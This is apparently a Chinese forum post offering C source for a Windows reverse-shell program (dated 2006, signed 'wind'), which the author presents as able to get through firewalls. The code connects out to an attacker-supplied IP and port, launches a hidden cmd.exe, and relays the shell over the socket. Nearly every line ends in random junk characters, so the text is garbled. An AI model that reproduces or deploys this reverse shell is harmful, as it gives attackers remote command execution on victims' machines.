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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d '\ ^S}  
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/* ============================== S_38U  
Rebound port in Windows NT g!^mewtd  
By wind,2006/7 #44}Snz  
===============================*/ yatZ Al(B  
#include }:(;mW8 D  
#include |-z"6F r-  
S3&n?\CO:  
#pragma comment(lib,"wsock32.lib") gH*(1*  
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void OutputShell(); %!8w)1U  
SOCKET sClient; D;[%*q*  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Z/d {v:)  
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void main(int argc,char **argv) ~i!I6d~  
{ v Ov"^X  
WSADATA stWsaData; s\p 1EL(  
int nRet; F<Xtp8  
SOCKADDR_IN stSaiClient,stSaiServer; M*D@zb0ia  
)Br#R:#  
if(argc != 3) 8C@6 b4VK  
{ {a15s6'd  
printf("Useage:\n\rRebound DestIP DestPort\n"); b1QHZY\g{  
return; w| ahb  
} Z[>fFg~N4  
x,|fblQz  
WSAStartup(MAKEWORD(2,2),&stWsaData); I hv@2{*(b  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^m AxV7k  
ta^$&$l  
stSaiClient.sin_family = AF_INET; 'p@m`)Z  
stSaiClient.sin_port = htons(0); 5sNN:m  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :jC$$oC].  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /U-+ClZi@  
{ fzOh3FO+  
printf("Bind Socket Failed!\n"); %e)? Mem  
return; J'tJY% `  
} Z?V vFEt%  
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stSaiServer.sin_family = AF_INET; f1sp6S0V\  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); y]+[o1]-c  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0A-yQzL|  
+KWO`WR  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) H!Dj.]T  
{ D7m uf  
printf("Connect Error!"); O+/{[9s  
return; V<?0(esgR  
} 72_+ b  
OutputShell(); .}T-R?  
} yE(<F2  
)1gT&sU0  
void OutputShell() G9GHBwT  
{ W\ mgM2p  
char szBuff[1024]; -]{ _^  
SECURITY_ATTRIBUTES stSecurityAttributes; XB B>"  
OSVERSIONINFO stOsversionInfo; NeP  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7G*rxn"d  
STARTUPINFO stStartupInfo; qk>SM| {  
char *szShell; /3 VO!V]u  
PROCESS_INFORMATION stProcessInformation; i_QiE2d  
unsigned long lBytesRead; w'XSkI_ay  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X.FoX  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _MuzD&^qE  
stSecurityAttributes.lpSecurityDescriptor = 0; k sOc,4A  
stSecurityAttributes.bInheritHandle = TRUE; )?$@cvf  
+nim47  
2X*n93AQi  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i )$+#N  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); p GF;,h>  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); wZ69W$,p  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZNpC& "`G  
stStartupInfo.wShowWindow = SW_HIDE; #$L/pRC  
stStartupInfo.hStdInput = hReadPipe; <eP,/H  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1zw,;m n  
=<)/lz] H  
GetVersionEx(&stOsversionInfo); /~7M @`1  
+2}Ar<elP  
switch(stOsversionInfo.dwPlatformId) 2V$Jn8v,`{  
{ .sOZ"=tW  
case 1: "}ur"bU1  
szShell = "command.com"; +ZGH  
break; `[XH=-p  
default: {f*{dSm9b  
szShell = "cmd.exe"; (~! @Uz5  
break; .y_~mr&d  
} KL9JA; "  
2 n2,MB  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); B|+% ExT7  
!{ _:k%B  
send(sClient,szMsg,77,0); 1=E}X5  
while(1) *UJB *r  
{ M9Yov4k,4]  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \ $t{K  
if(lBytesRead) ";jAHGbO  
{ NNTrH\SU #  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6W7,EIf  
send(sClient,szBuff,lBytesRead,0); UYQ@ub  
} I\rjw$V#  
else mUR[;;l  
{ z~v-8aw  
lBytesRead=recv(sClient,szBuff,1024,0); Ae2Y\sAV  
if(lBytesRead<=0) break; LW("/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?Iaqbt%2  
} `ZP[-:`  
} Et}%sdS  
VeQ [A?pER  
return; Bxj4rC[  
}
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